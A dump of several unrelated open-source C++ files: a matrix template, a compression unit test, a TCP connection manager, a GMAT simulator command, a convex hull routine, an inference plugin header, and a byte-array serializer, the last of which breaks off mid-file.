vector<T>& matrix<T>::operator[](size_t i)
{
return rows[i];
}
template <typename T>
template <typename U>
matrix<T> matrix<T>::operator+(const matrix<U>& o) const
{
matrix<T> res = *this;
for(size_t i=0; i<nrows; i++)
res.rows[i]+=o.rows[i];
return res;
}
template <typename T>
template <typename U>
void matrix<T>::operator+=(const matrix<U>& o)
{
for(size_t i=0; i<nrows; i++)
rows[i]+=o.rows[i];
}
template <typename T>
template <typename U>
matrix<T> matrix<T>::operator-(const matrix<U>& o) const
{
matrix<T> res = *this;
for(size_t i=0; i<nrows; i++)
res.rows[i]-=o.rows[i];
return res;
}
template <typename T>
template <typename U>
void matrix<T>::operator-=(const matrix<U>& o)
{
for(size_t i=0; i<nrows; i++)
rows[i]-=o.rows[i];
}
template <typename T>
template <typename U>
matrix<T> matrix<T>::operator*(const matrix<U>& o)
{
matrix<T> res = matrix<T>(nrows, o.ncols);
size_t i, j, k;
for(i=0; i<res.nrows; i++)
{
for(j=0; j<res.ncols; j++)
{
res[i][j] = 0;
for(k=0; k<ncols; k++)
res[i][j] += rows[i][k] * o.rows.at(k).at(j);
}
}
return res;
}
template <typename T>
template <typename U>
void matrix<T>::operator*=(const matrix<U>& o)
{
matrix<T> res = (*this)*o;
nrows = res.nrows;
ncols = res.ncols;
rows = res.rows;
}
template <typename T>
template <typename U>
void matrix<T>::operator*=(U v)
{
(*this) = (*this)*v;
}
template <typename T>
template <typename U>
vector<U> matrix<T>::operator*(const vector<U>& v)
{
vector<U> res(nrows);
for(int i=0;i<nrows;i++)
{
U sum = 0;
for(int j=0;j<ncols;j++)
sum += rows[i][j]*v.at(j);
res[i] = sum;
}
return res;
}
template <typename T>
template <typename U>
matrix<T> matrix<T>::operator*(U v)
{
matrix<T> res = matrix<T>(nrows, ncols);
for(int i=0;i<res.nrows;i++)
for(int j=0;j<res.ncols;j++)
res.rows[i][j] = rows[i][j]*v;
return res;
}
template <typename T>
matrix<T>& matrix<T>::transpose()
{
std::swap(nrows, ncols);
std::vector<vector<T>> cols = std::vector<vector<T>>(nrows);
for(int i=0;i<nrows;i++)
{
cols[i] = vector<T>(ncols);
for(int j=0;j<ncols;j++)
cols[i][j] = rows[j][i];
}
rows = std::move(cols);
return *this;
}
template <typename T>
std::string matrix<T>::toString() const
{
std::string res = "\n[";
for(size_t i=0; i<nrows; i++)
{
res+="[";
for(size_t j=0; j<ncols; j++)
res += std::to_string(rows.at(i).at(j)) + (j!=ncols-1 ? ", " : "]");
res += i!=nrows-1 ? ",\n" : "]";
}
return res;
}
//------------------------------------------------------------//
//-------------------------- Inline --------------------------//
//------------------------------------------------------------//
template <typename T>
inline matrix<T> transpose(const matrix<T>& m)
{
matrix<T> t = m;
t.transpose();
return t;
}
}
| 4,813 | 1,726 |
#include <sstream>
#include "file_interpreter.hpp"
#include "interpreter.hpp"
using namespace cuttle;
namespace fs = boost::filesystem;
void fileui::interpret_file(compile_state_t &state, vm::context_t &context, const fs::path &file_path, std::deque<vm::value_t> &arg_stack) {
if (state.cached_files.count(file_path.string())) {
std::stringstream input_str (state.cached_files[file_path.string()]);
cuttle::vm::interpret(input_str, context, arg_stack);
} else {
std::ifstream file(file_path.string());
cuttle::vm::interpret(file, context, arg_stack);
file.close();
// std::ifstream file1(file_path.string());
// state.cached_files[file_path.string()] = std::string((std::istreambuf_iterator<char>(file1)),
// std::istreambuf_iterator<char>());
// file1.close();
}
} | 901 | 290 |
// Licensed to the Apache Software Foundation (ASF) under one
// or more contributor license agreements. See the NOTICE file
// distributed with this work for additional information
// regarding copyright ownership. The ASF licenses this file
// to you under the Apache License, Version 2.0 (the
// "License"); you may not use this file except in compliance
// with the License. You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing,
// software distributed under the License is distributed on an
// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
// KIND, either express or implied. See the License for the
// specific language governing permissions and limitations
// under the License.
#include "util/block_compression.h"
#include <gtest/gtest.h>
#include <iostream>
namespace doris {
class BlockCompressionTest : public testing::Test {
public:
BlockCompressionTest() {}
virtual ~BlockCompressionTest() {}
};
static std::string generate_str(size_t len) {
static char charset[] =
"0123456789"
"abcdefghijklmnopqrstuvwxyz"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ";
std::string result;
result.resize(len);
for (int i = 0; i < len; ++i) {
result[i] = charset[rand() % sizeof(charset)];
}
return result;
}
void test_single_slice(segment_v2::CompressionTypePB type) {
std::unique_ptr<BlockCompressionCodec> codec;
auto st = get_block_compression_codec(type, codec);
EXPECT_TRUE(st.ok());
size_t test_sizes[] = {0, 1, 10, 1000, 1000000};
for (auto size : test_sizes) {
auto orig = generate_str(size);
size_t max_len = codec->max_compressed_len(size);
std::string compressed;
compressed.resize(max_len);
{
Slice compressed_slice(compressed);
st = codec->compress(orig, &compressed_slice);
EXPECT_TRUE(st.ok());
std::string uncompressed;
uncompressed.resize(size);
{
Slice uncompressed_slice(uncompressed);
st = codec->decompress(compressed_slice, &uncompressed_slice);
EXPECT_TRUE(st.ok());
EXPECT_STREQ(orig.c_str(), uncompressed.c_str());
}
// buffer not enough for decompress
// snappy has no return value if given buffer is not enough
// NOTE: For ZLIB, we even get OK with a insufficient output
// when uncompressed size is 1
if ((type == segment_v2::CompressionTypePB::ZLIB && uncompressed.size() > 1) &&
type != segment_v2::CompressionTypePB::SNAPPY && uncompressed.size() > 0) {
Slice uncompressed_slice(uncompressed);
uncompressed_slice.size -= 1;
st = codec->decompress(compressed_slice, &uncompressed_slice);
EXPECT_FALSE(st.ok());
}
// corrupt compressed data
if (type != segment_v2::CompressionTypePB::SNAPPY) {
Slice uncompressed_slice(uncompressed);
compressed_slice.size -= 1;
st = codec->decompress(compressed_slice, &uncompressed_slice);
EXPECT_FALSE(st.ok());
compressed_slice.size += 1;
}
}
// buffer not enough for compress
if (type != segment_v2::CompressionTypePB::SNAPPY && size > 0) {
Slice compressed_slice(compressed);
compressed_slice.size = 1;
st = codec->compress(orig, &compressed_slice);
EXPECT_FALSE(st.ok());
}
}
}
TEST_F(BlockCompressionTest, single) {
test_single_slice(segment_v2::CompressionTypePB::SNAPPY);
test_single_slice(segment_v2::CompressionTypePB::ZLIB);
test_single_slice(segment_v2::CompressionTypePB::LZ4);
test_single_slice(segment_v2::CompressionTypePB::LZ4F);
test_single_slice(segment_v2::CompressionTypePB::ZSTD);
}
void test_multi_slices(segment_v2::CompressionTypePB type) {
std::unique_ptr<BlockCompressionCodec> codec;
auto st = get_block_compression_codec(type, codec);
EXPECT_TRUE(st.ok());
size_t test_sizes[] = {0, 1, 10, 1000, 1000000};
std::vector<std::string> orig_strs;
for (auto size : test_sizes) {
orig_strs.emplace_back(generate_str(size));
}
std::vector<Slice> orig_slices;
std::string orig;
for (auto& str : orig_strs) {
orig_slices.emplace_back(str);
orig.append(str);
}
size_t total_size = orig.size();
size_t max_len = codec->max_compressed_len(total_size);
std::string compressed;
compressed.resize(max_len);
{
Slice compressed_slice(compressed);
st = codec->compress(orig_slices, &compressed_slice);
EXPECT_TRUE(st.ok());
std::string uncompressed;
uncompressed.resize(total_size);
// normal case
{
Slice uncompressed_slice(uncompressed);
st = codec->decompress(compressed_slice, &uncompressed_slice);
EXPECT_TRUE(st.ok());
EXPECT_STREQ(orig.c_str(), uncompressed.c_str());
}
}
// buffer not enough failed
if (type != segment_v2::CompressionTypePB::SNAPPY) {
Slice compressed_slice(compressed);
compressed_slice.size = 10;
st = codec->compress(orig, &compressed_slice);
EXPECT_FALSE(st.ok());
}
}
TEST_F(BlockCompressionTest, multi) {
test_multi_slices(segment_v2::CompressionTypePB::SNAPPY);
test_multi_slices(segment_v2::CompressionTypePB::ZLIB);
test_multi_slices(segment_v2::CompressionTypePB::LZ4);
test_multi_slices(segment_v2::CompressionTypePB::LZ4F);
test_multi_slices(segment_v2::CompressionTypePB::ZSTD);
}
} // namespace doris
| 5,854 | 1,928 |
//-----------------------------------
// Copyright Pierric Gimmig 2013-2017
//-----------------------------------
#include "ConnectionManager.h"
#include "TcpClient.h"
#include "TcpServer.h"
#include "TimerManager.h"
//-----------------------------------------------------------------------------
ConnectionManager::ConnectionManager() : m_ExitRequested(false)
{
}
//-----------------------------------------------------------------------------
ConnectionManager::~ConnectionManager()
{
TerminateThread();
}
//-----------------------------------------------------------------------------
void ConnectionManager::TerminateThread()
{
if (m_Thread)
{
m_ExitRequested = true;
m_Thread->join();
m_Thread = nullptr;
}
}
//-----------------------------------------------------------------------------
ConnectionManager& ConnectionManager::Get()
{
static ConnectionManager instance;
return instance;
}
//-----------------------------------------------------------------------------
void ConnectionManager::Init(std::string a_Host)
{
m_Host = a_Host;
TerminateThread();
m_Thread = std::make_unique<std::thread>(&ConnectionManager::ConnectionThread, this);
}
//-----------------------------------------------------------------------------
void ConnectionManager::Stop()
{
m_ExitRequested = true;
}
//-----------------------------------------------------------------------------
void ConnectionManager::ConnectionThread()
{
while (!m_ExitRequested)
{
if (!GTcpClient || !GTcpClient->IsValid())
{
GTcpClient = std::make_unique<TcpClient>(m_Host);
if (GTcpClient->IsValid())
{
GTimerManager = std::make_unique<TimerManager>(true);
}
}
else
{
std::string msg("Hello from ConnectionManager");
GTcpClient->Send(msg);
Sleep(2000);
}
}
}
| 1,952 | 474 |
/*
** EPITECH PROJECT, 2019
** bomberman
** File description:
** Bedrock.hpp
*/
#ifndef BOMBERMAN_BEDROCK_HPP
#define BOMBERMAN_BEDROCK_HPP
#include "../Entity.hpp"
namespace ECS
{
class Bedrock : public Entity {
public:
explicit Bedrock(unsigned id, Ressources &ressources);
};
}
#endif //BOMBERMAN_BEDROCK_HPP
| 323 | 137 |
//$Id$
//------------------------------------------------------------------------------
// ClassName
//------------------------------------------------------------------------------
// GMAT: General Mission Analysis Tool
//
// Copyright (c) 2002 - 2015 United States Government as represented by the
// Administrator of the National Aeronautics and Space Administration.
// All Other Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// You may not use this file except in compliance with the License.
// You may obtain a copy of the License at:
// http://www.apache.org/licenses/LICENSE-2.0.
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
// express or implied. See the License for the specific language
// governing permissions and limitations under the License.
//
// Developed jointly by NASA/GSFC and Thinking Systems, Inc. under contract
// number NNG06CA54C
//
// Author: Darrel J. Conway, Thinking Systems, Inc.
// Created: 2009/ /
//
/**
* File description here.
*/
//------------------------------------------------------------------------------
#include "RunSimulator.hpp"
#include "MessageInterface.hpp"
//#define DEBUG_INITIALIZATION
//#define DEBUG_SIMULATOR_EXECUTION
//------------------------------------------------------------------------------
// RunSimulator()
//------------------------------------------------------------------------------
/**
* Default constructor
*/
//------------------------------------------------------------------------------
RunSimulator::RunSimulator() :
RunSolver ("RunSimulator"),
theSimulator (NULL),
commandRunning (false),
commandComplete (false)
{
overridePropInit = true;
}
//------------------------------------------------------------------------------
// ~RunSimulator()
//------------------------------------------------------------------------------
/**
* Destructor
*/
//------------------------------------------------------------------------------
RunSimulator::~RunSimulator()
{
if (theSimulator)
delete theSimulator;
}
//------------------------------------------------------------------------------
// RunSimulator::RunSimulator(const RunSimulator & rs)
//------------------------------------------------------------------------------
/**
* Copy constructor
*
* @param rs The command that is copied into the new one
*/
//------------------------------------------------------------------------------
RunSimulator::RunSimulator(const RunSimulator & rs) :
RunSolver (rs),
theSimulator (NULL),
commandRunning (false),
commandComplete (false)
{
overridePropInit = true;
}
//------------------------------------------------------------------------------
// RunSimulator & operator=(const RunSimulator & rs)
//------------------------------------------------------------------------------
/**
* Assignment operator
*
* @param rs The RunSimulator object that supplies properties this one needs
*
* @return A reference to this instance
*/
//------------------------------------------------------------------------------
RunSimulator & RunSimulator::operator=(const RunSimulator & rs)
{
if (&rs != this)
{
theSimulator = NULL;
commandRunning = false;
commandComplete = false;
overridePropInit = true;
}
return *this;
}
//------------------------------------------------------------------------------
// GmatBase *RunSimulator::Clone() const
//------------------------------------------------------------------------------
/**
* Cleates a duplicate of a RunSimulator object
*
* @return a clone of the object
*/
//------------------------------------------------------------------------------
GmatBase *RunSimulator::Clone() const
{
return new RunSimulator(*this);
}
//------------------------------------------------------------------------------
// std::string GetRefObjectName(const Gmat::ObjectType type) const
//------------------------------------------------------------------------------
/**
* Accesses names for referenced objects.
*
* @param <type> Type of object requested.
*
* @return the referenced object's name.
*/
//------------------------------------------------------------------------------
std::string RunSimulator::GetRefObjectName(const Gmat::ObjectType type) const
{
switch (type)
{
case Gmat::SOLVER:
#ifdef DEBUG_RUN_SIMULATOR
MessageInterface::ShowMessage
("Getting EndFiniteBurn reference burn names\n");
#endif
return solverName;
default:
;
}
return RunSolver::GetRefObjectName(type);
}
//------------------------------------------------------------------------------
// bool SetRefObjectName(const Gmat::ObjectType type, const std::string &name)
//------------------------------------------------------------------------------
/**
* Sets names for referenced objects.
*
* @param <type> Type of the object.
* @param <name> Name of the object.
*
* @return true if the name was set, false if not.
*/
//------------------------------------------------------------------------------
bool RunSimulator::SetRefObjectName(const Gmat::ObjectType type,
const std::string &name)
{
if (type == Gmat::SOLVER)
{
solverName = name;
return true;
}
return RunSolver::SetRefObjectName(type, name);
}
//------------------------------------------------------------------------------
// bool RenameRefObject(const Gmat::ObjectType type,
// const std::string &oldName, const std::string &newName)
//------------------------------------------------------------------------------
/**
* Renames referenced objects.
*
* @param type Type of the object that is renamed.
* @param oldName The current name for the object.
* @param newName The name the object has when this operation is complete.
*
* @return true on success.
*/
//------------------------------------------------------------------------------
bool RunSimulator::RenameRefObject(const Gmat::ObjectType type,
const std::string &oldName,
const std::string &newName)
{
// EndFiniteBurn needs to know about Burn and Spacecraft only
if (type != Gmat::SOLVER)
return RunSolver::RenameRefObject(type, oldName, newName);
if (solverName == oldName)
{
solverName = newName;
return true;
}
return false;
}
//------------------------------------------------------------------------------
// const std::string GetGeneratingString()
//------------------------------------------------------------------------------
/**
* Method used to retrieve the string that was parsed to build this GmatCommand.
*
* This method is used to retrieve the GmatCommand string from the script that
* was parsed to build the GmatCommand. It is used to save the script line, so
* that the script can be written to a file without inverting the steps taken to
* set up the internal object data. As a side benefit, the script line is
* available in the GmatCommand structure for debugging purposes.
*
* @param <mode> Specifies the type of serialization requested.
* @param <prefix> Optional prefix appended to the object's name. (Used for
* indentation)
* @param <useName> Name that replaces the object's name (Not yet used
* in commands).
*
* @return The script line that defines this GmatCommand.
*/
//------------------------------------------------------------------------------
const std::string& RunSimulator::GetGeneratingString(Gmat::WriteMode mode,
const std::string &prefix,
const std::string &useName)
{
generatingString = prefix + "RunSimulator " + solverName + ";";
return RunSolver::GetGeneratingString(mode, prefix, useName);
}
//------------------------------------------------------------------------------
// bool Initialize()
//------------------------------------------------------------------------------
/**
* Prepares the command for execution
*
* This method prepares the simulator and associated measurement manager and
* measurements for the simulation process. Referenced objects are cloned or
* set as needed in this method.
*
* The propagation subsystem is prepared in the base class components of the
* command. RunSimulator generaqtes teh PropSetup clones at this level, but
* leaves the rest of the initialization process for the PropSetups in the base
* class method, which is called from this method.
*
* @return true on success, false on failure
*/
//------------------------------------------------------------------------------
bool RunSimulator::Initialize()
{
bool retval = false;
// First set the simulator object
if (solverName == "")
throw CommandException("Cannot initialize RunSimulator command -- the "
"simulator name is not specified.");
// Clear the old clone if it was set
if (theSimulator != NULL)
delete theSimulator;
GmatBase *simObj = FindObject(solverName);
if (simObj == NULL)
throw CommandException("Cannot initialize RunSimulator command -- the "
"simulator named " + solverName + " cannot be found.");
if (!simObj->IsOfType("Simulator"))
throw CommandException("Cannot initialize RunSimulator command -- the "
"object named " + solverName + " is not a simulator.");
theSimulator = (Simulator*)(simObj->Clone());
// Set the streams for the measurement manager
MeasurementManager *measman = theSimulator->GetMeasurementManager();
StringArray streamList = measman->GetStreamList();
for (UnsignedInt ms = 0; ms < streamList.size(); ++ms)
{
GmatBase *obj = FindObject(streamList[ms]);
if (obj != NULL)
{
if (obj->IsOfType(Gmat::DATASTREAM))
{
Datafile *df = (Datafile*)obj;
measman->SetStreamObject(df);
}
}
else
throw CommandException("Did not find the object named " +
streamList[ms]);
}
// Next comes the propagator
PropSetup *obj = theSimulator->GetPropagator();
#ifdef DEBUG_INITIALIZATION
MessageInterface::ShowMessage("Propagator at address %p ", obj);
if (obj != NULL)
MessageInterface::ShowMessage("is named %s\n",
obj->GetName().c_str());
else
MessageInterface::ShowMessage("is not yet set\n");
#endif
if (obj != NULL)
{
if (obj->IsOfType(Gmat::PROP_SETUP))
{
PropSetup *ps = (PropSetup*)obj->Clone();
// RunSimulator only manages one PropSetup. If that changes, so
// does this code
if (propagators.size() > 0)
{
for (std::vector<PropSetup*>::iterator pp = propagators.begin();
pp != propagators.end(); ++pp)
{
delete (*pp);
}
propagators.clear();
p.clear();
fm.clear();
}
propagators.push_back(ps);
p.push_back(ps->GetPropagator());
fm.push_back(ps->GetODEModel());
retval = true;
}
}
else
throw CommandException("Cannot initialize RunSimulator command; the "
"propagator pointer in the Simulator " +
theSimulator->GetName() + " is NULL.");
// Now set the participant list
MeasurementManager *mm = theSimulator->GetMeasurementManager();
StringArray participants = mm->GetParticipantList();
#ifdef DEBUG_INITIALIZATION
MessageInterface::ShowMessage("RunSimulator command found %d "
"participants\n", participants.size());
#endif
propObjectNames.clear();
propObjectNames.push_back(participants);
// Now we can initialize the propagation subsystem by calling up the
// inheritance tree.
retval = RunSolver::Initialize();
#ifdef DEBUG_INITIALIZATION
if (retval == false)
MessageInterface::ShowMessage("RunSimulator command failed to "
"initialize; RunSolver::Initialize() call failed.\n");
#endif
return retval;
}
//------------------------------------------------------------------------------
// bool Execute()
//------------------------------------------------------------------------------
/**
* Performs the command side processing for the Simulation
*
* This method calls the Simulator to determine the state of the Simulation
* state machine and responds to that state as needed. Typical command side
* responses are to propagate as needed, to clean up memory, or to reset flags
* based on the state machine.
*
* @return true on success, false on failure
*/
//------------------------------------------------------------------------------
bool RunSimulator::Execute()
{
#ifdef DEBUG_SIMULATOR_EXECUTION
MessageInterface::ShowMessage("\n\nThe \"%s\" command is running...\n",
GetTypeName().c_str());
#endif
// Reset the command if called after it has completed execution
// todo: Debug this piece; reentrance in a For loop doesn't work yet
// if (commandComplete)
// TakeAction("Reset");
// Here we should check to see if the command is currently propagating and
// finish that first...
// Respond to the state in the state machine
Solver::SolverState state = theSimulator->GetState();
#ifdef DEBUG_SIMULATOR_EXECUTION
MessageInterface::ShowMessage("\nSimulator state is %d\n", state);
#endif
switch (state)
{
case Solver::INITIALIZING:
PrepareToSimulate();
break;
case Solver::PROPAGATING:
Propagate();
break;
case Solver::CALCULATING:
Calculate();
break;
case Solver::LOCATING:
// The LOCATING state shouldn't trigger until we have event location
// implemented, so this case should not fire.
LocateEvent();
break;
case Solver::SIMULATING:
Simulate();
break;
case Solver::FINISHED:
Finalize();
break;
default:
throw CommandException("Unknown state "
" encountered in the RunSimulator command");
}
state = theSimulator->AdvanceState();
return true;
}
//------------------------------------------------------------------------------
// void RunComplete()
//------------------------------------------------------------------------------
/**
* Completes processing so that subsequent commands can be run.
*/
//------------------------------------------------------------------------------
void RunSimulator::RunComplete()
{
#ifdef DEBUG_SIMULATOR_EXECUTION
MessageInterface::ShowMessage("Entered RunSimulator::RunComplete()\n");
#endif
commandRunning = false;
RunSolver::RunComplete();
}
//------------------------------------------------------------------------------
// bool TakeAction(const std::string &action, const std::string &actionData)
//------------------------------------------------------------------------------
/**
* Performs actions at prompting from higher level structures
*
* @param action The action that needs to be taken
* @param actionData Optional additional data the action needs
*
* @return true if an action was taken, false if not
*/
//------------------------------------------------------------------------------
bool RunSimulator::TakeAction(const std::string &action,
const std::string &actionData)
{
if (action == "Reset")
{
theSimulator->TakeAction("Reset");
commandRunning = false;
commandComplete = false;
return true;
}
return RunSolver::TakeAction(action, actionData);
}
//------------------------------------------------------------------------------
// GmatCommand* GetNext()
//------------------------------------------------------------------------------
/**
* Retrieves the pointer to the next command that the Sandbox needs to run
*
* This method returns a pointer to the current RunSimulator command while the
* simulation state machine is running. It returns the next pointer after the
* simulation has finished execution.
*
* @return The next comamnd that should Execute()
*/
//------------------------------------------------------------------------------
GmatCommand* RunSimulator::GetNext()
{
if (commandRunning)
return this;
return next;
}
//------------------------------------------------------------------------------
// Methods triggered by the finite state machine
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
// void PrepareToSimulate()
//------------------------------------------------------------------------------
/**
* Responds to the CALCULATING state of the finite state machine
*
* Performs the final stages of initialization that need to be performed prior
* to running the simulation. This includes the final ODEModel preparation and
* the setting for the flags that indicate that a simulation is in process.
*/
//------------------------------------------------------------------------------
void RunSimulator::PrepareToSimulate()
{
#ifdef DEBUG_SIMULATOR_EXECUTION
MessageInterface::ShowMessage("Entered RunSimulator::PrepareToSimulate()\n");
#endif
// Prep the measurement manager
MeasurementManager *measman = theSimulator->GetMeasurementManager();
if (measman->PrepareForProcessing(true) == false)
throw CommandException(
"Measurement Manager was unable to prepare for processing");
PrepareToPropagate();
commandRunning = true;
commandComplete = false;
}
//------------------------------------------------------------------------------
// void Propagate()
//------------------------------------------------------------------------------
/**
* Responds to the PROPAGATING state of the finite state machine.
*
* Propagation from the current epoch to the next simulation epoch is performed
* in this method.
*/
//------------------------------------------------------------------------------
void RunSimulator::Propagate()
{
#ifdef DEBUG_SIMULATOR_EXECUTION
MessageInterface::ShowMessage("Entered RunSimulator::Propagate()\n");
#endif
Real dt = theSimulator->GetTimeStep();
// todo: This is a temporary fix; need to evaluate to find a more elegant
// solution here
Real maxStep = 600.0;
if (dt > maxStep)
dt = maxStep;
Step(dt);
theSimulator->UpdateCurrentEpoch(currEpoch[0]);
}
//------------------------------------------------------------------------------
// void Calculate()
//------------------------------------------------------------------------------
/**
* Responds to the CALCULATING state of the finite state machine
*/
//------------------------------------------------------------------------------
void RunSimulator::Calculate()
{
#ifdef DEBUG_SIMULATOR_EXECUTION
MessageInterface::ShowMessage("Entered RunSimulator::Calculate()\n");
#endif
// We might not need anything here -- it's all Simulator side work
}
//------------------------------------------------------------------------------
// void LocateEvent()
//------------------------------------------------------------------------------
/**
* Responds to the LOCATING state of the finite state machine
*/
//------------------------------------------------------------------------------
void RunSimulator::LocateEvent()
{
#ifdef DEBUG_SIMULATOR_EXECUTION
MessageInterface::ShowMessage("Entered RunSimulator::LocateEvent()\n");
#endif
// We'll figure this out later
}
//------------------------------------------------------------------------------
// void Simulate()
//------------------------------------------------------------------------------
/**
* Responds to the SIMULATING state of the finite state machine
*/
//------------------------------------------------------------------------------
void RunSimulator::Simulate()
{
#ifdef DEBUG_SIMULATOR_EXECUTION
MessageInterface::ShowMessage("Entered RunSimulator::Simulate()\n");
#endif
// We might not need anything here -- it's all Simulator side work
}
//------------------------------------------------------------------------------
// void RunSimulator::Finalize()
//------------------------------------------------------------------------------
/**
* Responds to the FINALIZING state of the finite state machine
*/
//------------------------------------------------------------------------------
void RunSimulator::Finalize()
{
#ifdef DEBUG_SIMULATOR_EXECUTION
MessageInterface::ShowMessage("Entered RunSimulator::Finalize()\n");
#endif
// Do cleanup here
// Finalize the measurement manager
MeasurementManager *measman = theSimulator->GetMeasurementManager();
if (measman->ProcessingComplete() == false)
MessageInterface::ShowMessage(
"Measurement Manager reported a problem completing processing\n");
commandComplete = true;
commandRunning = false;
}
| 21,461 | 5,178 |
// Implementation of Andrew's monotone chain 2D convex hull algorithm.
#include <algorithm>
#include <vector>
using namespace std;
typedef int coord_t; // coordinate type
typedef long long coord2_t; // must be big enough to hold 2*max(|coordinate|)^2
struct Point {
coord_t x, y;
bool operator <(const Point &p) const {
return x < p.x || (x == p.x && y < p.y);
}
};
// 2D cross product of OA and OB vectors, i.e. z-component of their 3D cross product.
// Returns a positive value, if OAB makes a counter-clockwise turn,
// negative for clockwise turn, and zero if the points are collinear.
coord2_t cross(const Point &O, const Point &A, const Point &B)
{
return (A.x - O.x) * (coord2_t)(B.y - O.y) - (A.y - O.y) * (coord2_t)(B.x - O.x);
}
// Returns a list of points on the convex hull in counter-clockwise order.
// Note: the last point in the returned list is the same as the first one.
vector<Point> convex_hull(vector<Point> P)
{
int n = P.size(), k = 0;
vector<Point> H(2*n);
// Sort points lexicographically
sort(P.begin(), P.end());
// Build lower hull
for (int i = 0; i < n; i++) {
while (k >= 2 && cross(H[k-2], H[k-1], P[i]) <= 0) k--;
H[k++] = P[i];
}
// Build upper hull
for (int i = n-2, t = k+1; i >= 0; i--) {
while (k >= t && cross(H[k-2], H[k-1], P[i]) <= 0) k--;
H[k++] = P[i];
}
H.resize(k);
return H;
}
| 1,377 | 574 |
// Copyright (C) 2018-2021 Intel Corporation
// SPDX-License-Identifier: Apache-2.0
//
#pragma once
#include <ngraph/function.hpp>
#include "template_config.hpp"
#include "template_infer_request.hpp"
#include "template_async_infer_request.hpp"
#include <cpp_interfaces/impl/ie_executable_network_thread_safe_default.hpp>
namespace TemplatePlugin {
class Plugin;
/**
* @class ExecutableNetwork
* @brief Interface of executable network
*/
// ! [executable_network:header]
class ExecutableNetwork : public InferenceEngine::ExecutableNetworkThreadSafeDefault {
public:
ExecutableNetwork(const std::shared_ptr<const ngraph::Function>& function,
const Configuration& cfg,
const std::shared_ptr<Plugin>& plugin);
ExecutableNetwork(std::istream& model,
const Configuration& cfg,
const std::shared_ptr<Plugin>& plugin);
~ExecutableNetwork() override = default;
// Methods from a base class ExecutableNetworkThreadSafeDefault
void ExportImpl(std::ostream& model) override;
InferenceEngine::InferRequestInternal::Ptr CreateInferRequestImpl(InferenceEngine::InputsDataMap networkInputs,
InferenceEngine::OutputsDataMap networkOutputs) override;
InferenceEngine::IInferRequest::Ptr CreateInferRequest() override;
InferenceEngine::Parameter GetMetric(const std::string &name) const override;
InferenceEngine::Parameter GetConfig(const std::string &name) const override;
private:
friend class TemplateInferRequest;
void CompileNetwork(const std::shared_ptr<const ngraph::Function>& function);
void InitExecutor();
std::atomic<std::size_t> _requestId = {0};
Configuration _cfg;
std::shared_ptr<Plugin> _plugin;
std::shared_ptr<ngraph::Function> _function;
std::map<std::string, std::size_t> _inputIndex;
std::map<std::string, std::size_t> _outputIndex;
};
// ! [executable_network:header]
} // namespace TemplatePlugin
| 2,218 | 597 |
#include "bytearray.h"
#include "endian.h"
#include "log.h"
#include "socket.h"
#include <cmath>
#include <cstddef>
#include <cstdint>
#include <cstring>
#include <endian.h>
#include <fstream>
#include <iomanip>
#include <memory>
#include <sstream>
#include <stdexcept>
#include <string>
namespace cool {
static cool::Logger::ptr g_logger = LOG_NAME("system");
ByteArray::Node::Node(size_t s) : ptr(new char[s]), next(nullptr), size(s) {}
ByteArray::Node::Node() : ptr(nullptr), next(nullptr), size(0) {}
ByteArray::Node::~Node() {
if (ptr) {
delete[] ptr;
}
}
ByteArray::ByteArray(size_t base_size)
: m_base_size(base_size), m_pos(0), m_capacity(base_size), m_size(0),
m_endian(COOL_BIG_ENDIAN), m_root(new Node(base_size)), m_cur(m_root) {}
ByteArray::~ByteArray() {
Node *temp = m_root;
while (temp) {
m_cur = temp;
temp = temp->next;
delete m_cur;
}
}
bool ByteArray::isLittleEndian() const {
return m_endian == COOL_LITTLE_ENDIAN;
}
void ByteArray::setIsLittleEndian(bool val) {
if (val) {
m_endian = COOL_LITTLE_ENDIAN;
} else {
m_endian = COOL_BIG_ENDIAN;
}
}
void ByteArray::write_fint8(int8_t val) { write(&val, sizeof(val)); }
void ByteArray::write_fuint8(uint8_t val) { write(&val, sizeof(val)); }
void ByteArray::write_fint16(int16_t val) {
if (m_endian != COOL_BYTE_ORDER) {
val = byteswap(val);
}
write(&val, sizeof(val));
}
void ByteArray::write_fuint16(uint16_t val) {
if (m_endian != COOL_BYTE_ORDER) {
val = byteswap(val);
}
write(&val, sizeof(val));
}
void ByteArray::write_fint32(int32_t val) {
if (m_endian != COOL_BYTE_ORDER) {
val = byteswap(val);
}
write(&val, sizeof(val));
}
void ByteArray::write_fuint32(uint32_t val) {
if (m_endian != COOL_BYTE_ORDER) {
val = byteswap(val);
}
write(&val, sizeof(val));
}
void ByteArray::write_fint64(int64_t val) {
if (m_endian != COOL_BYTE_ORDER) {
val = byteswap(val);
}
write(&val, sizeof(val));
}
void ByteArray::write_fuint64(uint64_t val) {
if (m_endian != COOL_BYTE_ORDER) {
val = byteswap(val);
}
write(&val, sizeof(val));
}
static uint32_t EncodeZigzap32(const int32_t &val) {
if (val < 0) {
return ((uint32_t)(-val)) * 2 - 1;
} else {
return val * 2;
}
}
static int32_t DecodeZigzap32(const uint32_t &val) {
return (val >> 1) ^ -(val & 1);
}
static uint64_t EncodeZigzap64(const int64_t &val) {
if (val < 0) {
return ((uint64_t)(-val)) * 2 - 1;
} else {
return val * 2;
}
}
static int64_t DecodeZigzap64(const uint64_t &val) {
return (val >> 1) ^ -(val & 1);
}
void ByteArray::write_int32(int32_t val) { write_uint32(EncodeZigzap32(val)); }
void ByteArray::write_uint32(uint32_t val) {
uint8_t temp[5];
uint8_t i = 0;
while (val >= 0x80) {
temp[i++] = (val & 0x7f) | 0x80;
val >>= 7;
}
temp[i++] = val;
write(temp, i);
}
void ByteArray::write_int64(int64_t val) { write_uint64(EncodeZigzap64(val)); }
void ByteArray::write_uint64(uint64_t val) {
uint8_t temp[10];
uint8_t i = 0;
while (val >= 0x80) {
temp[i++] = (val & 0x7f) | 0x80;
val >>= 7;
}
temp[i++] = val;
write(temp, i);
}
void ByteArray::write_float(float val) {
uint32_t temp;
memcpy(&temp, &val, sizeof(val));
write_fuint32(temp);
}
void ByteArray::write_double(double val) {
uint64_t temp;
memcpy(&temp, &val, sizeof(val));
write_fuint64(temp);
}
// length: int16, data
